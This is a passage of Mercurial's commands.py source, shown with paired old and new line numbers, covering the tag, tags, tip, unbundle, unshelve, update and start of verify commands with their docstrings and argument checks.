7367 Tags are used to name particular revisions of the repository and are
7370 Tags are used to name particular revisions of the repository and are
7368 very useful to compare different revisions, to go back to significant
7371 very useful to compare different revisions, to go back to significant
7369 earlier versions or to mark branch points as releases, etc. Changing
7372 earlier versions or to mark branch points as releases, etc. Changing
7370 an existing tag is normally disallowed; use -f/--force to override.
7373 an existing tag is normally disallowed; use -f/--force to override.
7371
7374
7372 If no revision is given, the parent of the working directory is
7375 If no revision is given, the parent of the working directory is
7373 used.
7376 used.
7374
7377
7375 To facilitate version control, distribution, and merging of tags,
7378 To facilitate version control, distribution, and merging of tags,
7376 they are stored as a file named ".hgtags" which is managed similarly
7379 they are stored as a file named ".hgtags" which is managed similarly
7377 to other project files and can be hand-edited if necessary. This
7380 to other project files and can be hand-edited if necessary. This
7378 also means that tagging creates a new commit. The file
7381 also means that tagging creates a new commit. The file
7379 ".hg/localtags" is used for local tags (not shared among
7382 ".hg/localtags" is used for local tags (not shared among
7380 repositories).
7383 repositories).
7381
7384
7382 Tag commits are usually made at the head of a branch. If the parent
7385 Tag commits are usually made at the head of a branch. If the parent
7383 of the working directory is not a branch head, :hg:`tag` aborts; use
7386 of the working directory is not a branch head, :hg:`tag` aborts; use
7384 -f/--force to force the tag commit to be based on a non-head
7387 -f/--force to force the tag commit to be based on a non-head
7385 changeset.
7388 changeset.
7386
7389
7387 See :hg:`help dates` for a list of formats valid for -d/--date.
7390 See :hg:`help dates` for a list of formats valid for -d/--date.
7388
7391
7389 Since tag names have priority over branch names during revision
7392 Since tag names have priority over branch names during revision
7390 lookup, using an existing branch name as a tag name is discouraged.
7393 lookup, using an existing branch name as a tag name is discouraged.
7391
7394
7392 Returns 0 on success.
7395 Returns 0 on success.
7393 """
7396 """
7394 cmdutil.check_incompatible_arguments(opts, 'remove', ['rev'])
7397 cmdutil.check_incompatible_arguments(opts, 'remove', ['rev'])
7395 opts = pycompat.byteskwargs(opts)
7398 opts = pycompat.byteskwargs(opts)
7396 with repo.wlock(), repo.lock():
7399 with repo.wlock(), repo.lock():
7397 rev_ = b"."
7400 rev_ = b"."
7398 names = [t.strip() for t in (name1,) + names]
7401 names = [t.strip() for t in (name1,) + names]
7399 if len(names) != len(set(names)):
7402 if len(names) != len(set(names)):
7400 raise error.InputError(_(b'tag names must be unique'))
7403 raise error.InputError(_(b'tag names must be unique'))
7401 for n in names:
7404 for n in names:
7402 scmutil.checknewlabel(repo, n, b'tag')
7405 scmutil.checknewlabel(repo, n, b'tag')
7403 if not n:
7406 if not n:
7404 raise error.InputError(
7407 raise error.InputError(
7405 _(b'tag names cannot consist entirely of whitespace')
7408 _(b'tag names cannot consist entirely of whitespace')
7406 )
7409 )
7407 if opts.get(b'rev'):
7410 if opts.get(b'rev'):
7408 rev_ = opts[b'rev']
7411 rev_ = opts[b'rev']
7409 message = opts.get(b'message')
7412 message = opts.get(b'message')
7410 if opts.get(b'remove'):
7413 if opts.get(b'remove'):
7411 if opts.get(b'local'):
7414 if opts.get(b'local'):
7412 expectedtype = b'local'
7415 expectedtype = b'local'
7413 else:
7416 else:
7414 expectedtype = b'global'
7417 expectedtype = b'global'
7415
7418
7416 for n in names:
7419 for n in names:
7417 if repo.tagtype(n) == b'global':
7420 if repo.tagtype(n) == b'global':
7418 alltags = tagsmod.findglobaltags(ui, repo)
7421 alltags = tagsmod.findglobaltags(ui, repo)
7419 if alltags[n][0] == repo.nullid:
7422 if alltags[n][0] == repo.nullid:
7420 raise error.InputError(
7423 raise error.InputError(
7421 _(b"tag '%s' is already removed") % n
7424 _(b"tag '%s' is already removed") % n
7422 )
7425 )
7423 if not repo.tagtype(n):
7426 if not repo.tagtype(n):
7424 raise error.InputError(_(b"tag '%s' does not exist") % n)
7427 raise error.InputError(_(b"tag '%s' does not exist") % n)
7425 if repo.tagtype(n) != expectedtype:
7428 if repo.tagtype(n) != expectedtype:
7426 if expectedtype == b'global':
7429 if expectedtype == b'global':
7427 raise error.InputError(
7430 raise error.InputError(
7428 _(b"tag '%s' is not a global tag") % n
7431 _(b"tag '%s' is not a global tag") % n
7429 )
7432 )
7430 else:
7433 else:
7431 raise error.InputError(
7434 raise error.InputError(
7432 _(b"tag '%s' is not a local tag") % n
7435 _(b"tag '%s' is not a local tag") % n
7433 )
7436 )
7434 rev_ = b'null'
7437 rev_ = b'null'
7435 if not message:
7438 if not message:
7436 # we don't translate commit messages
7439 # we don't translate commit messages
7437 message = b'Removed tag %s' % b', '.join(names)
7440 message = b'Removed tag %s' % b', '.join(names)
7438 elif not opts.get(b'force'):
7441 elif not opts.get(b'force'):
7439 for n in names:
7442 for n in names:
7440 if n in repo.tags():
7443 if n in repo.tags():
7441 raise error.InputError(
7444 raise error.InputError(
7442 _(b"tag '%s' already exists (use -f to force)") % n
7445 _(b"tag '%s' already exists (use -f to force)") % n
7443 )
7446 )
7444 if not opts.get(b'local'):
7447 if not opts.get(b'local'):
7445 p1, p2 = repo.dirstate.parents()
7448 p1, p2 = repo.dirstate.parents()
7446 if p2 != repo.nullid:
7449 if p2 != repo.nullid:
7447 raise error.StateError(_(b'uncommitted merge'))
7450 raise error.StateError(_(b'uncommitted merge'))
7448 bheads = repo.branchheads()
7451 bheads = repo.branchheads()
7449 if not opts.get(b'force') and bheads and p1 not in bheads:
7452 if not opts.get(b'force') and bheads and p1 not in bheads:
7450 raise error.InputError(
7453 raise error.InputError(
7451 _(
7454 _(
7452 b'working directory is not at a branch head '
7455 b'working directory is not at a branch head '
7453 b'(use -f to force)'
7456 b'(use -f to force)'
7454 )
7457 )
7455 )
7458 )
7456 node = logcmdutil.revsingle(repo, rev_).node()
7459 node = logcmdutil.revsingle(repo, rev_).node()
7457
7460
7458 if not message:
7461 if not message:
7459 # we don't translate commit messages
7462 # we don't translate commit messages
7460 message = b'Added tag %s for changeset %s' % (
7463 message = b'Added tag %s for changeset %s' % (
7461 b', '.join(names),
7464 b', '.join(names),
7462 short(node),
7465 short(node),
7463 )
7466 )
7464
7467
7465 date = opts.get(b'date')
7468 date = opts.get(b'date')
7466 if date:
7469 if date:
7467 date = dateutil.parsedate(date)
7470 date = dateutil.parsedate(date)
7468
7471
7469 if opts.get(b'remove'):
7472 if opts.get(b'remove'):
7470 editform = b'tag.remove'
7473 editform = b'tag.remove'
7471 else:
7474 else:
7472 editform = b'tag.add'
7475 editform = b'tag.add'
7473 editor = cmdutil.getcommiteditor(
7476 editor = cmdutil.getcommiteditor(
7474 editform=editform, **pycompat.strkwargs(opts)
7477 editform=editform, **pycompat.strkwargs(opts)
7475 )
7478 )
7476
7479
7477 # don't allow tagging the null rev
7480 # don't allow tagging the null rev
7478 if (
7481 if (
7479 not opts.get(b'remove')
7482 not opts.get(b'remove')
7480 and logcmdutil.revsingle(repo, rev_).rev() == nullrev
7483 and logcmdutil.revsingle(repo, rev_).rev() == nullrev
7481 ):
7484 ):
7482 raise error.InputError(_(b"cannot tag null revision"))
7485 raise error.InputError(_(b"cannot tag null revision"))
7483
7486
7484 tagsmod.tag(
7487 tagsmod.tag(
7485 repo,
7488 repo,
7486 names,
7489 names,
7487 node,
7490 node,
7488 message,
7491 message,
7489 opts.get(b'local'),
7492 opts.get(b'local'),
7490 opts.get(b'user'),
7493 opts.get(b'user'),
7491 date,
7494 date,
7492 editor=editor,
7495 editor=editor,
7493 )
7496 )
7494
7497
7495
7498
7496 @command(
7499 @command(
7497 b'tags',
7500 b'tags',
7498 formatteropts,
7501 formatteropts,
7499 b'',
7502 b'',
7500 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
7503 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
7501 intents={INTENT_READONLY},
7504 intents={INTENT_READONLY},
7502 )
7505 )
7503 def tags(ui, repo, **opts):
7506 def tags(ui, repo, **opts):
7504 """list repository tags
7507 """list repository tags
7505
7508
7506 This lists both regular and local tags. When the -v/--verbose
7509 This lists both regular and local tags. When the -v/--verbose
7507 switch is used, a third column "local" is printed for local tags.
7510 switch is used, a third column "local" is printed for local tags.
7508 When the -q/--quiet switch is used, only the tag name is printed.
7511 When the -q/--quiet switch is used, only the tag name is printed.
7509
7512
7510 .. container:: verbose
7513 .. container:: verbose
7511
7514
7512 Template:
7515 Template:
7513
7516
7514 The following keywords are supported in addition to the common template
7517 The following keywords are supported in addition to the common template
7515 keywords and functions such as ``{tag}``. See also
7518 keywords and functions such as ``{tag}``. See also
7516 :hg:`help templates`.
7519 :hg:`help templates`.
7517
7520
7518 :type: String. ``local`` for local tags.
7521 :type: String. ``local`` for local tags.
7519
7522
7520 Returns 0 on success.
7523 Returns 0 on success.
7521 """
7524 """
7522
7525
7523 opts = pycompat.byteskwargs(opts)
7526 opts = pycompat.byteskwargs(opts)
7524 ui.pager(b'tags')
7527 ui.pager(b'tags')
7525 fm = ui.formatter(b'tags', opts)
7528 fm = ui.formatter(b'tags', opts)
7526 hexfunc = fm.hexfunc
7529 hexfunc = fm.hexfunc
7527
7530
7528 for t, n in reversed(repo.tagslist()):
7531 for t, n in reversed(repo.tagslist()):
7529 hn = hexfunc(n)
7532 hn = hexfunc(n)
7530 label = b'tags.normal'
7533 label = b'tags.normal'
7531 tagtype = repo.tagtype(t)
7534 tagtype = repo.tagtype(t)
7532 if not tagtype or tagtype == b'global':
7535 if not tagtype or tagtype == b'global':
7533 tagtype = b''
7536 tagtype = b''
7534 else:
7537 else:
7535 label = b'tags.' + tagtype
7538 label = b'tags.' + tagtype
7536
7539
7537 fm.startitem()
7540 fm.startitem()
7538 fm.context(repo=repo)
7541 fm.context(repo=repo)
7539 fm.write(b'tag', b'%s', t, label=label)
7542 fm.write(b'tag', b'%s', t, label=label)
7540 fmt = b" " * (30 - encoding.colwidth(t)) + b' %5d:%s'
7543 fmt = b" " * (30 - encoding.colwidth(t)) + b' %5d:%s'
7541 fm.condwrite(
7544 fm.condwrite(
7542 not ui.quiet,
7545 not ui.quiet,
7543 b'rev node',
7546 b'rev node',
7544 fmt,
7547 fmt,
7545 repo.changelog.rev(n),
7548 repo.changelog.rev(n),
7546 hn,
7549 hn,
7547 label=label,
7550 label=label,
7548 )
7551 )
7549 fm.condwrite(
7552 fm.condwrite(
7550 ui.verbose and tagtype, b'type', b' %s', tagtype, label=label
7553 ui.verbose and tagtype, b'type', b' %s', tagtype, label=label
7551 )
7554 )
7552 fm.plain(b'\n')
7555 fm.plain(b'\n')
7553 fm.end()
7556 fm.end()
7554
7557
7555
7558
7556 @command(
7559 @command(
7557 b'tip',
7560 b'tip',
7558 [
7561 [
7559 (b'p', b'patch', None, _(b'show patch')),
7562 (b'p', b'patch', None, _(b'show patch')),
7560 (b'g', b'git', None, _(b'use git extended diff format')),
7563 (b'g', b'git', None, _(b'use git extended diff format')),
7561 ]
7564 ]
7562 + templateopts,
7565 + templateopts,
7563 _(b'[-p] [-g]'),
7566 _(b'[-p] [-g]'),
7564 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
7567 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
7565 )
7568 )
7566 def tip(ui, repo, **opts):
7569 def tip(ui, repo, **opts):
7567 """show the tip revision (DEPRECATED)
7570 """show the tip revision (DEPRECATED)
7568
7571
7569 The tip revision (usually just called the tip) is the changeset
7572 The tip revision (usually just called the tip) is the changeset
7570 most recently added to the repository (and therefore the most
7573 most recently added to the repository (and therefore the most
7571 recently changed head).
7574 recently changed head).
7572
7575
7573 If you have just made a commit, that commit will be the tip. If
7576 If you have just made a commit, that commit will be the tip. If
7574 you have just pulled changes from another repository, the tip of
7577 you have just pulled changes from another repository, the tip of
7575 that repository becomes the current tip. The "tip" tag is special
7578 that repository becomes the current tip. The "tip" tag is special
7576 and cannot be renamed or assigned to a different changeset.
7579 and cannot be renamed or assigned to a different changeset.
7577
7580
7578 This command is deprecated, please use :hg:`heads` instead.
7581 This command is deprecated, please use :hg:`heads` instead.
7579
7582
7580 Returns 0 on success.
7583 Returns 0 on success.
7581 """
7584 """
7582 opts = pycompat.byteskwargs(opts)
7585 opts = pycompat.byteskwargs(opts)
7583 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
7586 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
7584 displayer.show(repo[b'tip'])
7587 displayer.show(repo[b'tip'])
7585 displayer.close()
7588 displayer.close()
7586
7589
7587
7590
7588 @command(
7591 @command(
7589 b'unbundle',
7592 b'unbundle',
7590 [
7593 [
7591 (
7594 (
7592 b'u',
7595 b'u',
7593 b'update',
7596 b'update',
7594 None,
7597 None,
7595 _(b'update to new branch head if changesets were unbundled'),
7598 _(b'update to new branch head if changesets were unbundled'),
7596 )
7599 )
7597 ],
7600 ],
7598 _(b'[-u] FILE...'),
7601 _(b'[-u] FILE...'),
7599 helpcategory=command.CATEGORY_IMPORT_EXPORT,
7602 helpcategory=command.CATEGORY_IMPORT_EXPORT,
7600 )
7603 )
7601 def unbundle(ui, repo, fname1, *fnames, **opts):
7604 def unbundle(ui, repo, fname1, *fnames, **opts):
7602 """apply one or more bundle files
7605 """apply one or more bundle files
7603
7606
7604 Apply one or more bundle files generated by :hg:`bundle`.
7607 Apply one or more bundle files generated by :hg:`bundle`.
7605
7608
7606 Returns 0 on success, 1 if an update has unresolved files.
7609 Returns 0 on success, 1 if an update has unresolved files.
7607 """
7610 """
7608 fnames = (fname1,) + fnames
7611 fnames = (fname1,) + fnames
7609
7612
7610 with repo.lock():
7613 with repo.lock():
7611 for fname in fnames:
7614 for fname in fnames:
7612 f = hg.openpath(ui, fname)
7615 f = hg.openpath(ui, fname)
7613 gen = exchange.readbundle(ui, f, fname)
7616 gen = exchange.readbundle(ui, f, fname)
7614 if isinstance(gen, streamclone.streamcloneapplier):
7617 if isinstance(gen, streamclone.streamcloneapplier):
7615 raise error.InputError(
7618 raise error.InputError(
7616 _(
7619 _(
7617 b'packed bundles cannot be applied with '
7620 b'packed bundles cannot be applied with '
7618 b'"hg unbundle"'
7621 b'"hg unbundle"'
7619 ),
7622 ),
7620 hint=_(b'use "hg debugapplystreamclonebundle"'),
7623 hint=_(b'use "hg debugapplystreamclonebundle"'),
7621 )
7624 )
7622 url = b'bundle:' + fname
7625 url = b'bundle:' + fname
7623 try:
7626 try:
7624 txnname = b'unbundle'
7627 txnname = b'unbundle'
7625 if not isinstance(gen, bundle2.unbundle20):
7628 if not isinstance(gen, bundle2.unbundle20):
7626 txnname = b'unbundle\n%s' % urlutil.hidepassword(url)
7629 txnname = b'unbundle\n%s' % urlutil.hidepassword(url)
7627 with repo.transaction(txnname) as tr:
7630 with repo.transaction(txnname) as tr:
7628 op = bundle2.applybundle(
7631 op = bundle2.applybundle(
7629 repo, gen, tr, source=b'unbundle', url=url
7632 repo, gen, tr, source=b'unbundle', url=url
7630 )
7633 )
7631 except error.BundleUnknownFeatureError as exc:
7634 except error.BundleUnknownFeatureError as exc:
7632 raise error.Abort(
7635 raise error.Abort(
7633 _(b'%s: unknown bundle feature, %s') % (fname, exc),
7636 _(b'%s: unknown bundle feature, %s') % (fname, exc),
7634 hint=_(
7637 hint=_(
7635 b"see https://mercurial-scm.org/"
7638 b"see https://mercurial-scm.org/"
7636 b"wiki/BundleFeature for more "
7639 b"wiki/BundleFeature for more "
7637 b"information"
7640 b"information"
7638 ),
7641 ),
7639 )
7642 )
7640 modheads = bundle2.combinechangegroupresults(op)
7643 modheads = bundle2.combinechangegroupresults(op)
7641
7644
7642 if postincoming(ui, repo, modheads, opts.get('update'), None, None):
7645 if postincoming(ui, repo, modheads, opts.get('update'), None, None):
7643 return 1
7646 return 1
7644 else:
7647 else:
7645 return 0
7648 return 0
7646
7649
7647
7650
7648 @command(
7651 @command(
7649 b'unshelve',
7652 b'unshelve',
7650 [
7653 [
7651 (b'a', b'abort', None, _(b'abort an incomplete unshelve operation')),
7654 (b'a', b'abort', None, _(b'abort an incomplete unshelve operation')),
7652 (
7655 (
7653 b'c',
7656 b'c',
7654 b'continue',
7657 b'continue',
7655 None,
7658 None,
7656 _(b'continue an incomplete unshelve operation'),
7659 _(b'continue an incomplete unshelve operation'),
7657 ),
7660 ),
7658 (b'i', b'interactive', None, _(b'use interactive mode (EXPERIMENTAL)')),
7661 (b'i', b'interactive', None, _(b'use interactive mode (EXPERIMENTAL)')),
7659 (b'k', b'keep', None, _(b'keep shelve after unshelving')),
7662 (b'k', b'keep', None, _(b'keep shelve after unshelving')),
7660 (
7663 (
7661 b'n',
7664 b'n',
7662 b'name',
7665 b'name',
7663 b'',
7666 b'',
7664 _(b'restore shelved change with given name'),
7667 _(b'restore shelved change with given name'),
7665 _(b'NAME'),
7668 _(b'NAME'),
7666 ),
7669 ),
7667 (b't', b'tool', b'', _(b'specify merge tool')),
7670 (b't', b'tool', b'', _(b'specify merge tool')),
7668 (
7671 (
7669 b'',
7672 b'',
7670 b'date',
7673 b'date',
7671 b'',
7674 b'',
7672 _(b'set date for temporary commits (DEPRECATED)'),
7675 _(b'set date for temporary commits (DEPRECATED)'),
7673 _(b'DATE'),
7676 _(b'DATE'),
7674 ),
7677 ),
7675 ],
7678 ],
7676 _(b'hg unshelve [OPTION]... [[-n] SHELVED]'),
7679 _(b'hg unshelve [OPTION]... [[-n] SHELVED]'),
7677 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
7680 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
7678 )
7681 )
7679 def unshelve(ui, repo, *shelved, **opts):
7682 def unshelve(ui, repo, *shelved, **opts):
7680 """restore a shelved change to the working directory
7683 """restore a shelved change to the working directory
7681
7684
7682 This command accepts an optional name of a shelved change to
7685 This command accepts an optional name of a shelved change to
7683 restore. If none is given, the most recent shelved change is used.
7686 restore. If none is given, the most recent shelved change is used.
7684
7687
7685 If a shelved change is applied successfully, the bundle that
7688 If a shelved change is applied successfully, the bundle that
7686 contains the shelved changes is moved to a backup location
7689 contains the shelved changes is moved to a backup location
7687 (.hg/shelve-backup).
7690 (.hg/shelve-backup).
7688
7691
7689 Since you can restore a shelved change on top of an arbitrary
7692 Since you can restore a shelved change on top of an arbitrary
7690 commit, it is possible that unshelving will result in a conflict
7693 commit, it is possible that unshelving will result in a conflict
7691 between your changes and the commits you are unshelving onto. If
7694 between your changes and the commits you are unshelving onto. If
7692 this occurs, you must resolve the conflict, then use
7695 this occurs, you must resolve the conflict, then use
7693 ``--continue`` to complete the unshelve operation. (The bundle
7696 ``--continue`` to complete the unshelve operation. (The bundle
7694 will not be moved until you successfully complete the unshelve.)
7697 will not be moved until you successfully complete the unshelve.)
7695
7698
7696 (Alternatively, you can use ``--abort`` to abandon an unshelve
7699 (Alternatively, you can use ``--abort`` to abandon an unshelve
7697 that causes a conflict. This reverts the unshelved changes, and
7700 that causes a conflict. This reverts the unshelved changes, and
7698 leaves the bundle in place.)
7701 leaves the bundle in place.)
7699
7702
7700 If bare shelved change (without interactive, include and exclude
7703 If bare shelved change (without interactive, include and exclude
7701 option) was done on newly created branch it would restore branch
7704 option) was done on newly created branch it would restore branch
7702 information to the working directory.
7705 information to the working directory.
7703
7706
7704 After a successful unshelve, the shelved changes are stored in a
7707 After a successful unshelve, the shelved changes are stored in a
7705 backup directory. Only the N most recent backups are kept. N
7708 backup directory. Only the N most recent backups are kept. N
7706 defaults to 10 but can be overridden using the ``shelve.maxbackups``
7709 defaults to 10 but can be overridden using the ``shelve.maxbackups``
7707 configuration option.
7710 configuration option.
7708
7711
7709 .. container:: verbose
7712 .. container:: verbose
7710
7713
7711 Timestamp in seconds is used to decide order of backups. More
7714 Timestamp in seconds is used to decide order of backups. More
7712 than ``maxbackups`` backups are kept, if same timestamp
7715 than ``maxbackups`` backups are kept, if same timestamp
7713 prevents from deciding exact order of them, for safety.
7716 prevents from deciding exact order of them, for safety.
7714
7717
7715 Selected changes can be unshelved with ``--interactive`` flag.
7718 Selected changes can be unshelved with ``--interactive`` flag.
7716 The working directory is updated with the selected changes, and
7719 The working directory is updated with the selected changes, and
7717 only the unselected changes remain shelved.
7720 only the unselected changes remain shelved.
7718 Note: The whole shelve is applied to working directory first before
7721 Note: The whole shelve is applied to working directory first before
7719 running interactively. So, this will bring up all the conflicts between
7722 running interactively. So, this will bring up all the conflicts between
7720 working directory and the shelve, irrespective of which changes will be
7723 working directory and the shelve, irrespective of which changes will be
7721 unshelved.
7724 unshelved.
7722 """
7725 """
7723 with repo.wlock():
7726 with repo.wlock():
7724 return shelvemod.unshelvecmd(ui, repo, *shelved, **opts)
7727 return shelvemod.unshelvecmd(ui, repo, *shelved, **opts)
7725
7728
7726
7729
7727 statemod.addunfinished(
7730 statemod.addunfinished(
7728 b'unshelve',
7731 b'unshelve',
7729 fname=b'shelvedstate',
7732 fname=b'shelvedstate',
7730 continueflag=True,
7733 continueflag=True,
7731 abortfunc=shelvemod.hgabortunshelve,
7734 abortfunc=shelvemod.hgabortunshelve,
7732 continuefunc=shelvemod.hgcontinueunshelve,
7735 continuefunc=shelvemod.hgcontinueunshelve,
7733 cmdmsg=_(b'unshelve already in progress'),
7736 cmdmsg=_(b'unshelve already in progress'),
7734 )
7737 )
7735
7738
7736
7739
7737 @command(
7740 @command(
7738 b'update|up|checkout|co',
7741 b'update|up|checkout|co',
7739 [
7742 [
7740 (b'C', b'clean', None, _(b'discard uncommitted changes (no backup)')),
7743 (b'C', b'clean', None, _(b'discard uncommitted changes (no backup)')),
7741 (b'c', b'check', None, _(b'require clean working directory')),
7744 (b'c', b'check', None, _(b'require clean working directory')),
7742 (b'm', b'merge', None, _(b'merge uncommitted changes')),
7745 (b'm', b'merge', None, _(b'merge uncommitted changes')),
7743 (b'd', b'date', b'', _(b'tipmost revision matching date'), _(b'DATE')),
7746 (b'd', b'date', b'', _(b'tipmost revision matching date'), _(b'DATE')),
7744 (b'r', b'rev', b'', _(b'revision'), _(b'REV')),
7747 (b'r', b'rev', b'', _(b'revision'), _(b'REV')),
7745 ]
7748 ]
7746 + mergetoolopts,
7749 + mergetoolopts,
7747 _(b'[-C|-c|-m] [-d DATE] [[-r] REV]'),
7750 _(b'[-C|-c|-m] [-d DATE] [[-r] REV]'),
7748 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
7751 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
7749 helpbasic=True,
7752 helpbasic=True,
7750 )
7753 )
7751 def update(ui, repo, node=None, **opts):
7754 def update(ui, repo, node=None, **opts):
7752 """update working directory (or switch revisions)
7755 """update working directory (or switch revisions)
7753
7756
7754 Update the repository's working directory to the specified
7757 Update the repository's working directory to the specified
7755 changeset. If no changeset is specified, update to the tip of the
7758 changeset. If no changeset is specified, update to the tip of the
7756 current named branch and move the active bookmark (see :hg:`help
7759 current named branch and move the active bookmark (see :hg:`help
7757 bookmarks`).
7760 bookmarks`).
7758
7761
7759 Update sets the working directory's parent revision to the specified
7762 Update sets the working directory's parent revision to the specified
7760 changeset (see :hg:`help parents`).
7763 changeset (see :hg:`help parents`).
7761
7764
7762 If the changeset is not a descendant or ancestor of the working
7765 If the changeset is not a descendant or ancestor of the working
7763 directory's parent and there are uncommitted changes, the update is
7766 directory's parent and there are uncommitted changes, the update is
7764 aborted. With the -c/--check option, the working directory is checked
7767 aborted. With the -c/--check option, the working directory is checked
7765 for uncommitted changes; if none are found, the working directory is
7768 for uncommitted changes; if none are found, the working directory is
7766 updated to the specified changeset.
7769 updated to the specified changeset.
7767
7770
7768 .. container:: verbose
7771 .. container:: verbose
7769
7772
7770 The -C/--clean, -c/--check, and -m/--merge options control what
7773 The -C/--clean, -c/--check, and -m/--merge options control what
7771 happens if the working directory contains uncommitted changes.
7774 happens if the working directory contains uncommitted changes.
7772 At most of one of them can be specified.
7775 At most of one of them can be specified.
7773
7776
7774 1. If no option is specified, and if
7777 1. If no option is specified, and if
7775 the requested changeset is an ancestor or descendant of
7778 the requested changeset is an ancestor or descendant of
7776 the working directory's parent, the uncommitted changes
7779 the working directory's parent, the uncommitted changes
7777 are merged into the requested changeset and the merged
7780 are merged into the requested changeset and the merged
7778 result is left uncommitted. If the requested changeset is
7781 result is left uncommitted. If the requested changeset is
7779 not an ancestor or descendant (that is, it is on another
7782 not an ancestor or descendant (that is, it is on another
7780 branch), the update is aborted and the uncommitted changes
7783 branch), the update is aborted and the uncommitted changes
7781 are preserved.
7784 are preserved.
7782
7785
7783 2. With the -m/--merge option, the update is allowed even if the
7786 2. With the -m/--merge option, the update is allowed even if the
7784 requested changeset is not an ancestor or descendant of
7787 requested changeset is not an ancestor or descendant of
7785 the working directory's parent.
7788 the working directory's parent.
7786
7789
7787 3. With the -c/--check option, the update is aborted and the
7790 3. With the -c/--check option, the update is aborted and the
7788 uncommitted changes are preserved.
7791 uncommitted changes are preserved.
7789
7792
7790 4. With the -C/--clean option, uncommitted changes are discarded and
7793 4. With the -C/--clean option, uncommitted changes are discarded and
7791 the working directory is updated to the requested changeset.
7794 the working directory is updated to the requested changeset.
7792
7795
7793 To cancel an uncommitted merge (and lose your changes), use
7796 To cancel an uncommitted merge (and lose your changes), use
7794 :hg:`merge --abort`.
7797 :hg:`merge --abort`.
7795
7798
7796 Use null as the changeset to remove the working directory (like
7799 Use null as the changeset to remove the working directory (like
7797 :hg:`clone -U`).
7800 :hg:`clone -U`).
7798
7801
7799 If you want to revert just one file to an older revision, use
7802 If you want to revert just one file to an older revision, use
7800 :hg:`revert [-r REV] NAME`.
7803 :hg:`revert [-r REV] NAME`.
7801
7804
7802 See :hg:`help dates` for a list of formats valid for -d/--date.
7805 See :hg:`help dates` for a list of formats valid for -d/--date.
7803
7806
7804 Returns 0 on success, 1 if there are unresolved files.
7807 Returns 0 on success, 1 if there are unresolved files.
7805 """
7808 """
7806 cmdutil.check_at_most_one_arg(opts, 'clean', 'check', 'merge')
7809 cmdutil.check_at_most_one_arg(opts, 'clean', 'check', 'merge')
7807 rev = opts.get('rev')
7810 rev = opts.get('rev')
7808 date = opts.get('date')
7811 date = opts.get('date')
7809 clean = opts.get('clean')
7812 clean = opts.get('clean')
7810 check = opts.get('check')
7813 check = opts.get('check')
7811 merge = opts.get('merge')
7814 merge = opts.get('merge')
7812 if rev and node:
7815 if rev and node:
7813 raise error.InputError(_(b"please specify just one revision"))
7816 raise error.InputError(_(b"please specify just one revision"))
7814
7817
7815 if ui.configbool(b'commands', b'update.requiredest'):
7818 if ui.configbool(b'commands', b'update.requiredest'):
7816 if not node and not rev and not date:
7819 if not node and not rev and not date:
7817 raise error.InputError(
7820 raise error.InputError(
7818 _(b'you must specify a destination'),
7821 _(b'you must specify a destination'),
7819 hint=_(b'for example: hg update ".::"'),
7822 hint=_(b'for example: hg update ".::"'),
7820 )
7823 )
7821
7824
7822 if rev is None or rev == b'':
7825 if rev is None or rev == b'':
7823 rev = node
7826 rev = node
7824
7827
7825 if date and rev is not None:
7828 if date and rev is not None:
7826 raise error.InputError(_(b"you can't specify a revision and a date"))
7829 raise error.InputError(_(b"you can't specify a revision and a date"))
7827
7830
7828 updatecheck = None
7831 updatecheck = None
7829 if check:
7832 if check:
7830 updatecheck = b'abort'
7833 updatecheck = b'abort'
7831 elif merge:
7834 elif merge:
7832 updatecheck = b'none'
7835 updatecheck = b'none'
7833
7836
7834 with repo.wlock():
7837 with repo.wlock():
7835 cmdutil.clearunfinished(repo)
7838 cmdutil.clearunfinished(repo)
7836 if date:
7839 if date:
7837 rev = cmdutil.finddate(ui, repo, date)
7840 rev = cmdutil.finddate(ui, repo, date)
7838
7841
7839 # if we defined a bookmark, we have to remember the original name
7842 # if we defined a bookmark, we have to remember the original name
7840 brev = rev
7843 brev = rev
7841 if rev:
7844 if rev:
7842 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
7845 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
7843 ctx = logcmdutil.revsingle(repo, rev, default=None)
7846 ctx = logcmdutil.revsingle(repo, rev, default=None)
7844 rev = ctx.rev()
7847 rev = ctx.rev()
7845 hidden = ctx.hidden()
7848 hidden = ctx.hidden()
7846 overrides = {(b'ui', b'forcemerge'): opts.get('tool', b'')}
7849 overrides = {(b'ui', b'forcemerge'): opts.get('tool', b'')}
7847 with ui.configoverride(overrides, b'update'):
7850 with ui.configoverride(overrides, b'update'):
7848 ret = hg.updatetotally(
7851 ret = hg.updatetotally(
7849 ui, repo, rev, brev, clean=clean, updatecheck=updatecheck
7852 ui, repo, rev, brev, clean=clean, updatecheck=updatecheck
7850 )
7853 )
7851 if hidden:
7854 if hidden:
7852 ctxstr = ctx.hex()[:12]
7855 ctxstr = ctx.hex()[:12]
7853 ui.warn(_(b"updated to hidden changeset %s\n") % ctxstr)
7856 ui.warn(_(b"updated to hidden changeset %s\n") % ctxstr)
7854
7857
7855 if ctx.obsolete():
7858 if ctx.obsolete():
7856 obsfatemsg = obsutil._getfilteredreason(repo, ctxstr, ctx)
7859 obsfatemsg = obsutil._getfilteredreason(repo, ctxstr, ctx)
7857 ui.warn(b"(%s)\n" % obsfatemsg)
7860 ui.warn(b"(%s)\n" % obsfatemsg)
7858 return ret
7861 return ret
7859
7862
7860
7863
7861 @command(
7864 @command(
7862 b'verify',
7865 b'verify',
7863 [(b'', b'full', False, b'perform more checks (EXPERIMENTAL)')],
7866 [(b'', b'full', False, b'perform more checks (EXPERIMENTAL)')],
7864 helpcategory=command.CATEGORY_MAINTENANCE,
7867 helpcategory=command.CATEGORY_MAINTENANCE,
7865 )
7868 )
7866 def verify(ui, repo, **opts):
7869 def verify(ui, repo, **opts):
7867 """verify the integrity of the repository
7870 """verify the integrity of the repository
7868
7871
7869 Verify the integrity of the current repository.
7872 Verify the integrity of the current repository.
7870
7873
7871 This will perform an extensive check of the repository's
7874 This will perform an extensive check of the repository's
7872 integrity, validating the hashes and checksums of each entry in
7875 integrity, validating the hashes and checksums of each entry in
